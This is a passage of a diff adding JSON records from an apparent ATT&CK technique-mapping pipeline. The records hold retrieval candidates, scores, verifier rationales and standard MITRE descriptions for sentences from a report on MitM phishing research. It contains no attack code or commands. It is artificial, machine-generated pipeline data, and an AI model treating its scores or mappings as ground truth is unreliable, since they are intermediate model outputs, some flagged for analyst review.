"zscaler_2020-06-26_taurus-new-stealer-town" + }, + { + "technique_id": "T1550.004", + "name": "Web Session Cookie", + "dense_score": 0.7888103127479553, + "rerank_score": 1.0, + "rerank_rank": 1, + "late_interaction_score": 19.830631256103516, + "dense_rank": 0, + "late_interaction_rank": 7, + "fusion_score": 0.031099324975891997, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1185", + "name": "Browser Session Hijacking", + "dense_score": 0.6932545900344849, + "rerank_score": 0.98828125, + "rerank_rank": 2, + "late_interaction_score": 18.909137725830078, + "dense_rank": 3, + "late_interaction_rank": 52, + "fusion_score": 0.024474557522123894, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1606.001", + "name": "Web Cookies", + "dense_score": 0.7480074167251587, + "rerank_score": 0.65234375, + "rerank_rank": 3, + "late_interaction_score": 19.53630828857422, + "dense_rank": 2, + "late_interaction_rank": 13, + "fusion_score": 0.029386529386529386, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1134.001", + "name": "Token Impersonation/Theft", + "dense_score": 0.6523614525794983, + "rerank_score": 0.439453125, + "rerank_rank": 4, + "late_interaction_score": 18.638504028320312, + "dense_rank": 7, + "late_interaction_rank": 95, + "fusion_score": 0.021116138763197588, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1563", + "name": "Remote Service Session Hijacking", + "dense_score": 0.6478378772735596, + "rerank_score": 0.40625, + "rerank_rank": 5, + "late_interaction_score": 18.59798812866211, + "dense_rank": 8, + "late_interaction_rank": 104, + "fusion_score": 0.020553359683794466, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1098", + "name": "Account Manipulation", + "dense_score": 0.5827025771141052, + "rerank_score": 0.34765625, + "rerank_rank": 6, + "late_interaction_score": 18.85677719116211, + "dense_rank": 28, + "late_interaction_rank": 58, + "fusion_score": 0.019639316400717588, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1606", + "name": "Forge Web Credentials", + "dense_score": 0.6885673403739929, + "rerank_score": 0.306640625, + "rerank_rank": 7, + "late_interaction_score": 19.338565826416016, + "dense_rank": 4, + "late_interaction_rank": 20, + "fusion_score": 0.05671580164333788, + "exemplar_score": 0.7122313976287842, + "exemplar_rank": 8, + "exemplar_quote": "* Collects login and passwords, cookies, autocomplete fields, credit cards", + "exemplar_document": "zscaler_2021-02-09_discord-cdn-popular-choice-hosting" + }, + { + "technique_id": "T1078", + "name": "Valid Accounts", + "dense_score": 0.6373715996742249, + "rerank_score": 0.2109375, + "rerank_rank": 8, + "late_interaction_score": 18.406381607055664, + "dense_rank": 10, + "late_interaction_rank": 141, + "fusion_score": 0.049338032394788775, + "exemplar_score": 0.7277864217758179, + "exemplar_rank": 5, + "exemplar_quote": "Infostealer is one of the most profitable tools for cybercriminals, as information gathered from systems infected with this malware could be sold in the cybercrime underground or used for credential stuffing attacks.", + "exemplar_document": "zscaler_2020-08-14_purplewave-new-infostealer-russia" + }, + { + "technique_id": "T1204", + "name": "User Execution", + "dense_score": 0.5957787036895752, + "rerank_score": 0.2109375, + "rerank_rank": 9, + "late_interaction_score": 19.02642059326172, + "dense_rank": 21, + "late_interaction_rank": 39, + "fusion_score": 0.02219512195121951, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + } + ], + "verifier_model": "Qwen/Qwen3.6-27B:no-spec", + "escalated": false, + "exemplar_agreement": false, + "selected_technique": { + "technique_id": "T1550.004", + "name": "Web Session Cookie", + "description": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated. Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through Steal Web Session Cookie or Web Cookies, the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform. There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.", + "tactics": [ + "lateral movement" + ], + "platforms": [ + "IaaS", + "Office Suite", + "SaaS" + ], + "is_subtechnique": true, + "attack_url": "https://attack.mitre.org/techniques/T1550/004", + "stix_id": "attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0", + "modified": "2026-05-12T15:12:00.714Z" + } + }, + { + "behavior": { + "quote": "researchers from Stony Brook University and Palo Alto Networks (Kondracki et al) took a deep dive into MitM phishing kits and discovered that MitM phishing pages represent an industry blind spot", + "summary": "Researchers analyze MitM phishing kits", + "source_start": 7906, + "source_end": 8100, + "entities": [ + { + "text": "Stony Brook University", + "label": "organization", + "score": 0.93603515625, + "start": 7923, + "end": 7945 + }, + { + "text": "Palo Alto Networks", + "label": "organization", + "score": 0.95703125, + "start": 7950, + "end": 7968 + } + ], + "actor": "researchers from Stony Brook University and Palo Alto Networks", + "action": "analyze", + "object": "MitM phishing kits", + "tool": "", + "target": "MitM phishing pages", + "assertion": "background" + }, + "route": "abstain", + "status": "no_mapping_suggested", + "selected_technique_id": null, + "support": "unsupported", + "evidence_quote": "", + "rationale": "The quote describes defensive research analysis of phishing kits, not adversary activity; therefore, no ATT&CK technique is supported.", + "candidates": [ + { + "technique_id": "T1566", + "name": "Phishing", + "dense_score": 0.6001332998275757, + "rerank_score": 0.98828125, + "rerank_rank": 0, + "late_interaction_score": 18.955671310424805, + "dense_rank": 8, + "late_interaction_rank": 33, + "fusion_score": 0.057917936741430476, + "exemplar_score": 0.7654561996459961, + "exemplar_rank": 0, + "exemplar_quote": "As an example, the OWA phishing page is displayed (Figure 15) when the user clicks the “Outlook Web Access” link on the web page.", + "exemplar_document": "zscaler_2020-07-17_new-voicemail-themed-phishing-attacks" + }, + { + "technique_id": "T1598.003", + "name": "Spearphishing Link", + "dense_score": 0.6755019426345825, + "rerank_score": 0.90625, + "rerank_rank": 1, + "late_interaction_score": 18.93355941772461, + "dense_rank": 1, + "late_interaction_rank": 35, + "fusion_score": 0.02654569892473118, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1598", + "name": "Phishing for Information", + "dense_score": 0.6003574132919312, + "rerank_score": 0.8359375, + "rerank_rank": 2, + "late_interaction_score": 19.157556533813477, + "dense_rank": 7, + "late_interaction_rank": 13, + "fusion_score": 0.02821939586645469, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1608.005", + "name": "Link Target", + "dense_score": 0.6143250465393066, + "rerank_score": 0.333984375, + "rerank_rank": 3, + "late_interaction_score": 18.771806716918945, + "dense_rank": 6, + "late_interaction_rank": 50, + "fusion_score": 0.023934382143337367, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1683.001", + "name": "Written Content", + "dense_score": 0.5407273173332214, + "rerank_score": 0.3203125, + "rerank_rank": 4, + "late_interaction_score": 18.975574493408203, + "dense_rank": 66, + "late_interaction_rank": 28, + "fusion_score": 0.01910997080421127, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1557", + "name": "Adversary-in-the-Middle", + "dense_score": 0.6831195950508118, + "rerank_score": 0.28125, + "rerank_rank": 5, + "late_interaction_score": 18.167316436767578, + "dense_rank": 0, + "late_interaction_rank": 115, + "fusion_score": 0.05148702551065135, + "exemplar_score": 0.7257638573646545, + "exemplar_rank": 7, + "exemplar_quote": "If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials.", + "exemplar_document": "proofpoint_2021-05-18_threat-actors-exploit-microsoft-and" + }, + { + "technique_id": "T1059", + "name": "Command and Scripting Interpreter", + "dense_score": 0.431613564491272, + "rerank_score": 0.1923828125, + "rerank_rank": 6, + "late_interaction_score": 17.210681915283203, + "dense_rank": 454, + "late_interaction_rank": 511, + "fusion_score": 0.03399302962409759, + "exemplar_score": 0.7363605499267578, + "exemplar_rank": 5, + "exemplar_quote": "In a few variants of the phishing landing pages, we observed that the final landing page used an external JavaScript to display the credential-phishing page in the browser.", + "exemplar_document": "zscaler_2020-07-17_new-voicemail-themed-phishing-attacks" + }, + { + "technique_id": "T1204", + "name": "User Execution", + "dense_score": 0.5750338435173035, + "rerank_score": 0.15625, + "rerank_rank": 7, + "late_interaction_score": 18.6990966796875, + "dense_rank": 18, + "late_interaction_rank": 57, + "fusion_score": 0.04677382976031334, + "exemplar_score": 0.6800166964530945, + "exemplar_rank": 17, + "exemplar_quote": "Click the URL link.", + "exemplar_document": "zscaler_2020-09-29_targeted-attacks-oil-and-gas" + }, + { + "technique_id": "T1598.001", + "name": "Spearphishing Service", + "dense_score": 0.5590260624885559, + "rerank_score": 0.09033203125, + "rerank_rank": 8, + "late_interaction_score": 19.091100692749023, + "dense_rank": 36, + "late_interaction_rank": 18, + "fusion_score": 0.02296750619861673, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1593.002", + "name": "Search Engines", + "dense_score": 0.5053089261054993, + "rerank_score": 0.0419921875, + "rerank_rank": 9, + "late_interaction_score": 19.363075256347656, + "dense_rank": 151, + "late_interaction_rank": 3, + "fusion_score": 0.02034198113207547, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + } + ], + "verifier_model": "Qwen/Qwen3.6-27B:no-spec", + "escalated": false, + "exemplar_agreement": false, + "selected_technique": null + }, + { + "behavior": { + "quote": "They were able to identify over 1200 MitM phishing sites", + "summary": "Researchers identified over 1200 MitM phishing sites", + "source_start": 8287, + "source_end": 8343, + "entities": [], + "actor": "researchers", + "action": "identify", + "object": "over 1200 MitM phishing sites", + "tool": "Phoca", + "target": "", + "assertion": "background" + }, + "route": "abstain", + "status": "no_mapping_suggested", + "selected_technique_id": null, + "support": "unsupported", + "evidence_quote": "", + "rationale": "Researchers identifying phishing sites is a defensive action, not an adversary technique.", + "candidates": [ + { + "technique_id": "T1566", + "name": "Phishing", + "dense_score": 0.6086856126785278, + "rerank_score": 0.9921875, + "rerank_rank": 0, + "late_interaction_score": 17.896085739135742, + "dense_rank": 5, + "late_interaction_rank": 31, + "fusion_score": 0.05827914488503549, + "exemplar_score": 0.7552124261856079, + "exemplar_rank": 1, + "exemplar_quote": "As an example, the OWA phishing page is displayed (Figure 15) when the user clicks the “Outlook Web Access” link on the web page.", + "exemplar_document": "zscaler_2020-07-17_new-voicemail-themed-phishing-attacks" + }, + { + "technique_id": "T1598.003", + "name": "Spearphishing Link", + "dense_score": 0.6632497310638428, + "rerank_score": 0.984375, + "rerank_rank": 1, + "late_interaction_score": 17.702451705932617, + "dense_rank": 1, + "late_interaction_rank": 57, + "fusion_score": 0.024603608529250955, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1593", + "name": "Search Open Websites/Domains", + "dense_score": 0.526634693145752, + "rerank_score": 0.9375, + "rerank_rank": 2, + "late_interaction_score": 18.293804168701172, + "dense_rank": 72, + "late_interaction_rank": 5, + "fusion_score": 0.022670312143996355, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1598", + "name": "Phishing for Information", + "dense_score": 0.5936537981033325, + "rerank_score": 0.65234375, + "rerank_rank": 3, + "late_interaction_score": 17.890796661376953, + "dense_rank": 9, + "late_interaction_rank": 32, + "fusion_score": 0.0250384024577573, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1608.005", + "name": "Link Target", + "dense_score": 0.6056212186813354, + "rerank_score": 0.439453125, + "rerank_rank": 4, + "late_interaction_score": 17.48249626159668, + "dense_rank": 6, + "late_interaction_rank": 81, + "fusion_score": 0.021967626655455118, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1566.002", + "name": "Spearphishing Link", + "dense_score": 0.563325047492981, + "rerank_score": 0.34765625, + "rerank_rank": 5, + "late_interaction_score": 17.570270538330078, + "dense_rank": 18, + "late_interaction_rank": 70, + "fusion_score": 0.020291815634360808, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1598.001", + "name": "Spearphishing Service", + "dense_score": 0.5336366891860962, + "rerank_score": 0.181640625, + "rerank_rank": 6, + "late_interaction_score": 17.805891036987305, + "dense_rank": 56, + "late_interaction_rank": 41, + "fusion_score": 0.018350930115636, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1593.002", + "name": "Search Engines", + "dense_score": 0.5072566866874695, + "rerank_score": 0.1640625, + "rerank_rank": 7, + "late_interaction_score": 18.57447052001953, + "dense_rank": 98, + "late_interaction_rank": 1, + "fusion_score": 0.022418340434165143, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1596.002", + "name": "WHOIS", + "dense_score": 0.5004792809486389, + "rerank_score": 0.1474609375, + "rerank_rank": 8, + "late_interaction_score": 18.246524810791016, + "dense_rank": 113, + "late_interaction_rank": 7, + "fusion_score": 0.020453008789722785, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1594", + "name": "Search Victim-Owned Websites", + "dense_score": 0.5439000129699707, + "rerank_score": 0.11962890625, + "rerank_rank": 9, + "late_interaction_score": 18.314414978027344, + "dense_rank": 47, + "late_interaction_rank": 4, + "fusion_score": 0.024643874643874644, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + } + ], + "verifier_model": "Qwen/Qwen3.6-27B:no-spec", + "escalated": false, + "exemplar_agreement": false, + "selected_technique": null + }, + { + "behavior": { + "quote": "Of those 1200+ sites only 43.7% of domains and 18.9% of IP addresses appeared on popular blocklists like VirusTotal", + "summary": "Researchers found low percentage of MitM sites on blocklists", + "source_start": 8345, + "source_end": 8460, + "entities": [ + { + "text": "IP addresses", + "label": "network protocol", + "score": 0.83447265625, + "start": 8401, + "end": 8413 + } + ], + "actor": "researchers", + "action": "found", + "object": "low percentage of MitM sites on blocklists", + "tool": "Phoca", + "target": "VirusTotal", + "assertion": "background" + }, + "route": "abstain", + "status": "no_mapping_suggested", + "selected_technique_id": null, + "support": "unsupported", + "evidence_quote": "", + "rationale": "Researchers analyzing blocklist coverage is a defensive research activity, not an adversary action acquiring infrastructure or gathering victim information.", + "candidates": [ + { + "technique_id": "T1583.001", + "name": "Domains", + "dense_score": 0.5562799572944641, + "rerank_score": 0.2451171875, + "rerank_rank": 0, + "late_interaction_score": 16.38168716430664, + "dense_rank": 18, + "late_interaction_rank": 225, + "fusion_score": 0.016154731344604763, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1590.005", + "name": "IP Addresses", + "dense_score": 0.5239419341087341, + "rerank_score": 0.1923828125, + "rerank_rank": 1, + "late_interaction_score": 16.910259246826172, + "dense_rank": 58, + "late_interaction_rank": 40, + "fusion_score": 0.018304351443547716, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1665", + "name": "Hide Infrastructure", + "dense_score": 0.5847173929214478, + "rerank_score": 0.173828125, + "rerank_rank": 2, + "late_interaction_score": 17.203182220458984, + "dense_rank": 4, + "late_interaction_rank": 8, + "fusion_score": 0.029877369007803793, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1593", + "name": "Search Open Websites/Domains", + "dense_score": 0.5232293605804443, + "rerank_score": 0.1640625, + "rerank_rank": 3, + "late_interaction_score": 17.058738708496094, + "dense_rank": 60, + "late_interaction_rank": 19, + "fusion_score": 0.020764462809917356, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1027.001", + "name": "Binary Padding", + "dense_score": 0.4731859564781189, + "rerank_score": 0.1005859375, + "rerank_rank": 4, + "late_interaction_score": 17.25267791748047, + "dense_rank": 193, + "late_interaction_rank": 5, + "fusion_score": 0.0190885230255309, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1583", + "name": "Acquire Infrastructure", + "dense_score": 0.49094852805137634, + "rerank_score": 0.06005859375, + "rerank_rank": 5, + "late_interaction_score": 16.314905166625977, + "dense_rank": 122, + "late_interaction_rank": 266, + "fusion_score": 0.039291815619082876, + "exemplar_score": 0.6843292117118835, + "exemplar_rank": 4, + "exemplar_quote": "As the 2020 presidential election is one of the top trending events, The ThreatLabZ team has been actively monitoring newly registered domains (NRDs) based on election trends and keywords for the past three months.", + "exemplar_document": "zscaler_2020-11-03_election-2020-themed-scams-and" + }, + { + "technique_id": "T1596.001", + "name": "DNS/Passive DNS", + "dense_score": 0.5416297912597656, + "rerank_score": 0.06005859375, + "rerank_rank": 6, + "late_interaction_score": 17.063228607177734, + "dense_rank": 32, + "late_interaction_rank": 18, + "fusion_score": 0.02341091602014428, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1590", + "name": "Gather Victim Network Information", + "dense_score": 0.5223100185394287, + "rerank_score": 0.047607421875, + "rerank_rank": 7, + "late_interaction_score": 16.982906341552734, + "dense_rank": 63, + "late_interaction_rank": 29, + "fusion_score": 0.01917562724014337, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1596.005", + "name": "Scan Databases", + "dense_score": 0.5334498286247253, + "rerank_score": 0.0419921875, + "rerank_rank": 8, + "late_interaction_score": 17.456886291503906, + "dense_rank": 41, + "late_interaction_rank": 2, + "fusion_score": 0.025676937441643323, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1595.001", + "name": "Scanning IP Blocks", + "dense_score": 0.5297869443893433, + "rerank_score": 0.0419921875, + "rerank_rank": 9, + "late_interaction_score": 17.195945739746094, + "dense_rank": 50, + "late_interaction_rank": 9, + "fusion_score": 0.023294723294723294, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + } + ], + "verifier_model": "Qwen/Qwen3.6-27B:no-spec", + "escalated": false, + "exemplar_agreement": false, + "selected_technique": null + }, + { + "behavior": { + "quote": "they found that standard phishing sites had a lifespan of just under 24 hours whereas MitM phishing sites lasted longer, and 15% had a lifespan greater than 20 days", + "summary": "Researchers found MitM phishing sites have longer lifespan", + "source_start": 8483, + "source_end": 8647, + "entities": [], + "actor": "researchers", + "action": "found", + "object": "MitM phishing sites have longer lifespan", + "tool": "Phoca", + "target": "", + "assertion": "background" + }, + "route": "abstain", + "status": "no_mapping_suggested", + "selected_technique_id": null, + "support": "unsupported", + "evidence_quote": "", + "rationale": "The quote describes researchers analyzing phishing site lifespans, which is defensive analysis rather than adversary activity.", + "candidates": [ + { + "technique_id": "T1566", + "name": "Phishing", + "dense_score": 0.6202032566070557, + "rerank_score": 0.98828125, + "rerank_rank": 0, + "late_interaction_score": 18.007671356201172, + "dense_rank": 6, + "late_interaction_rank": 34, + "fusion_score": 0.05823857416970368, + "exemplar_score": 0.7775002121925354, + "exemplar_rank": 0, + "exemplar_quote": "The final phishing page spoofs the Microsoft Office 365 login page, as shown in Figures 11 and 12.", + "exemplar_document": "zscaler_2020-07-17_new-voicemail-themed-phishing-attacks" + }, + { + "technique_id": "T1598", + "name": "Phishing for Information", + "dense_score": 0.6037518978118896, + "rerank_score": 0.8671875, + "rerank_rank": 1, + "late_interaction_score": 18.00348663330078, + "dense_rank": 8, + "late_interaction_rank": 35, + "fusion_score": 0.024909420289855072, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1598.003", + "name": "Spearphishing Link", + "dense_score": 0.6788439750671387, + "rerank_score": 0.53125, + "rerank_rank": 2, + "late_interaction_score": 17.86865997314453, + "dense_rank": 0, + "late_interaction_rank": 44, + "fusion_score": 0.025917252146760345, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1593", + "name": "Search Open Websites/Domains", + "dense_score": 0.48832330107688904, + "rerank_score": 0.46875, + "rerank_rank": 3, + "late_interaction_score": 18.323657989501953, + "dense_rank": 198, + "late_interaction_rank": 3, + "fusion_score": 0.01948600386100386, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1583.001", + "name": "Domains", + "dense_score": 0.5613785982131958, + "rerank_score": 0.306640625, + "rerank_rank": 4, + "late_interaction_score": 17.70273208618164, + "dense_rank": 31, + "late_interaction_rank": 70, + "fusion_score": 0.018503153003650845, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1591.003", + "name": "Identify Business Tempo", + "dense_score": 0.5354583263397217, + "rerank_score": 0.2451171875, + "rerank_rank": 5, + "late_interaction_score": 18.17609977722168, + "dense_rank": 74, + "late_interaction_rank": 12, + "fusion_score": 0.02110603754439371, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1598.001", + "name": "Spearphishing Service", + "dense_score": 0.5467314720153809, + "rerank_score": 0.2333984375, + "rerank_rank": 6, + "late_interaction_score": 17.858638763427734, + "dense_rank": 54, + "late_interaction_rank": 47, + "fusion_score": 0.0179549114331723, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1683.001", + "name": "Written Content", + "dense_score": 0.5370995998382568, + "rerank_score": 0.22265625, + "rerank_rank": 7, + "late_interaction_score": 18.025928497314453, + "dense_rank": 71, + "late_interaction_rank": 29, + "fusion_score": 0.01868686868686869, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1583", + "name": "Acquire Infrastructure", + "dense_score": 0.5022443532943726, + "rerank_score": 0.10693359375, + "rerank_rank": 8, + "late_interaction_score": 17.062286376953125, + "dense_rank": 145, + "late_interaction_rank": 316, + "fusion_score": 0.038756888825938036, + "exemplar_score": 0.7494233846664429, + "exemplar_rank": 3, + "exemplar_quote": "Through the intelligence gathered from the Zscaler cloud, we discovered several newly registered domains that use VoIP and voicemail as themes for their credential-stealing phishing campaigns.", + "exemplar_document": "zscaler_2020-07-17_new-voicemail-themed-phishing-attacks" + }, + { + "technique_id": "T1594", + "name": "Search Victim-Owned Websites", + "dense_score": 0.5098836421966553, + "rerank_score": 0.10693359375, + "rerank_rank": 9, + "late_interaction_score": 18.387619018554688, + "dense_rank": 117, + "late_interaction_rank": 2, + "fusion_score": 0.02149099340110576, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + } + ], + "verifier_model": "Qwen/Qwen3.6-27B:no-spec", + "escalated": false, + "exemplar_agreement": false, + "selected_technique": null + }, + { + "behavior": { + "quote": "Proofpoint researchers identified a MitM reverse proxy site that was active for more than 72 hours", + "summary": "Proofpoint identified active MitM reverse proxy site", + "source_start": 8689, + "source_end": 8787, + "entities": [ + { + "text": "Proofpoint", + "label": "organization", + "score": 0.861328125, + "start": 8689, + "end": 8699 + } + ], + "actor": "Proofpoint researchers", + "action": "identified", + "object": "MitM reverse proxy site", + "tool": "", + "target": "", + "assertion": "observed" + }, + "route": "analyst_review", + "status": "needs_analyst_review", + "selected_technique_id": "T1557", + "support": "supported", + "evidence_quote": "Proofpoint researchers identified a MitM reverse proxy site that was active for more than 72 hours", + "rationale": "The quote explicitly identifies a Man-in-the-Middle (MitM) reverse proxy site, which directly aligns with the T1557 Adversary-in-the-Middle technique definition.", + "candidates": [ + { + "technique_id": "T1090", + "name": "Proxy", + "dense_score": 0.6063205599784851, + "rerank_score": 0.99609375, + "rerank_rank": 0, + "late_interaction_score": 18.035964965820312, + "dense_rank": 5, + "late_interaction_rank": 66, + "fusion_score": 0.05528359541567568, + "exemplar_score": 0.7364180088043213, + "exemplar_rank": 1, + "exemplar_quote": "*Figure 19: Communication via proxy.*", + "exemplar_document": "zscaler_2020-07-10_deep-dive-m00nd3v-logger" + }, + { + "technique_id": "T1090.002", + "name": "External Proxy", + "dense_score": 0.6045912504196167, + "rerank_score": 0.9765625, + "rerank_rank": 1, + "late_interaction_score": 18.075908660888672, + "dense_rank": 6, + "late_interaction_rank": 56, + "fusion_score": 0.023472381681336904, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1557", + "name": "Adversary-in-the-Middle", + "dense_score": 0.6914749145507812, + "rerank_score": 0.97265625, + "rerank_rank": 2, + "late_interaction_score": 18.03911018371582, + "dense_rank": 0, + "late_interaction_rank": 64, + "fusion_score": 0.05337894986932763, + "exemplar_score": 0.7131838798522949, + "exemplar_rank": 8, + "exemplar_quote": "If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials.", + "exemplar_document": "proofpoint_2021-05-18_threat-actors-exploit-microsoft-and" + }, + { + "technique_id": "T1185", + "name": "Browser Session Hijacking", + "dense_score": 0.5711531043052673, + "rerank_score": 0.53125, + "rerank_rank": 3, + "late_interaction_score": 17.684425354003906, + "dense_rank": 11, + "late_interaction_rank": 209, + "fusion_score": 0.045370370370370366, + "exemplar_score": 0.7006911039352417, + "exemplar_rank": 11, + "exemplar_quote": "| T1185 | Man in the Browser |", + "exemplar_document": "zscaler_2021-03-30_ares-malware-grandson-kronos-banking" + }, + { + "technique_id": "T1665", + "name": "Hide Infrastructure", + "dense_score": 0.5416033267974854, + "rerank_score": 0.3203125, + "rerank_rank": 4, + "late_interaction_score": 18.720144271850586, + "dense_rank": 30, + "late_interaction_rank": 3, + "fusion_score": 0.02661401098901099, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1583", + "name": "Acquire Infrastructure", + "dense_score": 0.504834771156311, + "rerank_score": 0.306640625, + "rerank_rank": 5, + "late_interaction_score": 17.828224182128906, + "dense_rank": 82, + "late_interaction_rank": 136, + "fusion_score": 0.040238163209493735, + "exemplar_score": 0.7038214206695557, + "exemplar_rank": 10, + "exemplar_quote": "Lab52 hypothesis is that attackers compromise routers with default credentials and use them as a frontend for their real command and control server.", + "exemplar_document": "lab52_2020-01-15_apt-c-36-recent-activity" + }, + { + "technique_id": "T1496.004", + "name": "Cloud Service Hijacking", + "dense_score": 0.4826202392578125, + "rerank_score": 0.28125, + "rerank_rank": 6, + "late_interaction_score": 18.424936294555664, + "dense_rank": 146, + "late_interaction_rank": 7, + "fusion_score": 0.019536800227337312, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1090.001", + "name": "Internal Proxy", + "dense_score": 0.6135666370391846, + "rerank_score": 0.255859375, + "rerank_rank": 7, + "late_interaction_score": 18.10280990600586, + "dense_rank": 2, + "late_interaction_rank": 51, + "fusion_score": 0.0248015873015873, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1584", + "name": "Compromise Infrastructure", + "dense_score": 0.5679946541786194, + "rerank_score": 0.255859375, + "rerank_rank": 8, + "late_interaction_score": 17.791263580322266, + "dense_rank": 12, + "late_interaction_rank": 155, + "fusion_score": 0.01832825976661593, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1090.003", + "name": "Multi-hop Proxy", + "dense_score": 0.5992258787155151, + "rerank_score": 0.181640625, + "rerank_rank": 9, + "late_interaction_score": 18.402328491210938, + "dense_rank": 7, + "late_interaction_rank": 9, + "fusion_score": 0.028991596638655463, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + } + ], + "verifier_model": "Qwen/Qwen3.6-27B:no-spec", + "escalated": false, + "exemplar_agreement": false, + "selected_technique": { + "technique_id": "T1557", + "name": "Adversary-in-the-Middle", + "description": "Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions. For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent 